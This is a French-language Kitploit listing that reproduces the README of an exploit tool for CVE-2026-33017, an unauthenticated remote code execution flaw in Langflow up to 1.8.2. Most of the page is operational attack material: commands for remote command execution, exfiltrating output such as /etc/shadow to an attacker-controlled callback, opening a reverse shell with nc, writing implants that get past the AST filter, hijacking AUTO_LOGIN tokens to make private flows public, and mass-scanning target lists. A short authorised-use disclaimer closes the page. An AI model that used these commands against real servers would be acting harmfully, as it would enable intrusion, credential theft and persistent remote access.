Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33017-Exploit — Exploit pour CVE-2026-33017 — RCE non authentifié dans Langflow <= 1.8.2 via exec() dans le point de terminaison de construction de flux | Kitploit
Outils/GitHubGitHub/oscar-mine/cve-2026-33017-exploit
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHuboscar-mine/cve-2026-33017-exploit

CVE-2026-33017-Exploit

Exploit pour CVE-2026-33017 — RCE non authentifié dans Langflow <= 1.8.2 via exec() dans le point de terminaison de construction de flux

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
il y a 4 moisPas encore vérifié
Partager

CVE-2026-33017 - Exécution de code à distance non authentifiée dans Langflow

root@kitploit:~
        _____
       /     \
      | () () |
       \  ^  /
        |||||

exec() sans authentification, sans sandbox, sans espoir.

Langflow <= 1.8.2 permet l'exécution de code à distance non authentifiée via le point de terminaison POST /api/v1/build_public_tmp/{flow_id}/flow. Les données de flux fournies par l'attaquant contenant du Python arbitraire dans les définitions de nœuds sont transmises directement à exec() sans aucun sandboxing.

  • CVSS : 9,8 Critique
  • CWE : CWE-94 (Injection de code), CWE-306 (Authentification manquante)
  • Versions concernées : Langflow <= 1.8.2 (y compris 1.9.0-dev0 jusqu'à dev11)
  • Corrigé dans : Langflow 1.9.0
  • CISA KEV : Ajouté le 25/03/2026
  • Exploité dans la nature : Moins de 20 heures après la divulgation

Chaîne d'attaque

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> le code arbitraire s'exécute avec le processus serveur. game over.

Installation

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Utilisation

Reconnaissance - vérifier si la cible est vulnérable

root@kitploit:~
python3 exploit.py --url http://target:7860 --check

Exécution de commande aveugle

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id"

Exfiltration de la sortie via rappel GET (base64 dans le chemin de l'URL)

root@kitploit:~
# Terminal 1 : démarrer l'écouteur
python3 -m http.server 8080

# Terminal 2 : lancer l'exploit
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# Décodez le base64 depuis les journaux de votre écouteur :
echo "dWlkPTEwMDAo..." | base64 -d

Exfiltration de la sortie via rappel POST (sortie brute dans le corps)

root@kitploit:~
# Terminal 1 : démarrer l'écouteur
nc -l 8080

# Terminal 2 : lancer l'exploit
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# La sortie brute arrive directement dans le corps de la requête POST - aucun décodage nécessaire

Shell inversé

root@kitploit:~
# Terminal 1 : démarrer l'écouteur
nc -l 4444

# Terminal 2 : lancer l'exploit
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

Charge utile Python personnalisée

root@kitploit:~
python3 exploit.py --url http://target:7860 --payload-file implant.py

Règles pour le fichier de charge utile :

  • Le code s'exécute au niveau du module via exec() dans prepare_global_scope()
  • Doit utiliser des affectations (par ex. _x = os.popen(...).read()) car le filtre AST n'exécute que les nœuds Assign, FunctionDef, ClassDef
  • Les appels bloquants doivent utiliser threading.Thread(daemon=True) pour éviter de tuer la boucle d'événements asynchrone

Promotion automatique des flux privés

Lorsqu'aucun flux PUBLIC n'existe mais que AUTO_LOGIN est activé (par défaut dans de nombreux déploiements) :

root@kitploit:~
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

Cela détourne le jeton AUTO_LOGIN, applique un PATCH sur le premier flux pour le passer en PUBLIC, puis l'exploite.

Analyse en masse

Analyser plusieurs cibles à partir d'un fichier (vérification de vulnérabilité uniquement) :

root@kitploit:~
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

Format de targets.txt :

root@kitploit:~
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# les commentaires sont ignorés

La sortie affiche :

  • Détection de version (vulnérable / corrigé)
  • Statut AUTO_LOGIN (jeton gratuit = escalade facile)
  • Nombre de flux publics (prêts à être exploités immédiatement)

Proxy via Burp

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

Comment cela fonctionne

  1. Vérification de version - sonde /api/v1/version pour identifier la cible
  2. Découverte de flux - utilise AUTO_LOGIN (si activé) pour énumérer les flux et trouver ceux qui sont PUBLIC
  3. Injection de charge utile - crée un graphe de flux minimal avec un nœud CustomComponent contenant du Python malveillant dans le champ code
  4. Exécution de code - envoie une requête POST à /api/v1/build_public_tmp/{flow_id}/flow avec le paramètre data falsifié. Langflow compile le graphe, ce qui appelle create_class() -> prepare_global_scope() -> exec() sur le code de l'attaquant

Le correctif dans v1.9.0 supprime entièrement le paramètre data, forçant le point de terminaison à n'utiliser que les données de flux stockées dans la base de données.

Analyse du correctif

Références

  • NVD - CVE-2026-33017
  • Recherche JFrog - analyse du contournement du correctif
  • Sysdig - exploitation en 20 heures
  • CISA KEV
  • Commit du correctif
  • Avis GitHub : GHSA-rvqx-wpfh-mfx7

Avertissement

Cet outil est destiné uniquement à la recherche en sécurité autorisée. Ne l'utilisez que contre des systèmes pour lesquels vous avez une autorisation explicite de test. L'auteur n'est pas responsable d'une mauvaise utilisation.

Télécharger l’outil
VersionStatut
<= 1.8.1Vulnérable
1.8.2Correctif revendiqué dans le journal des modifications mais le code n'a jamais été modifié (confirmé par JFrog)
1.9.0-dev0 à dev11Toujours vulnérable
1.9.0Réellement corrigé - paramètre data supprimé du point de terminaison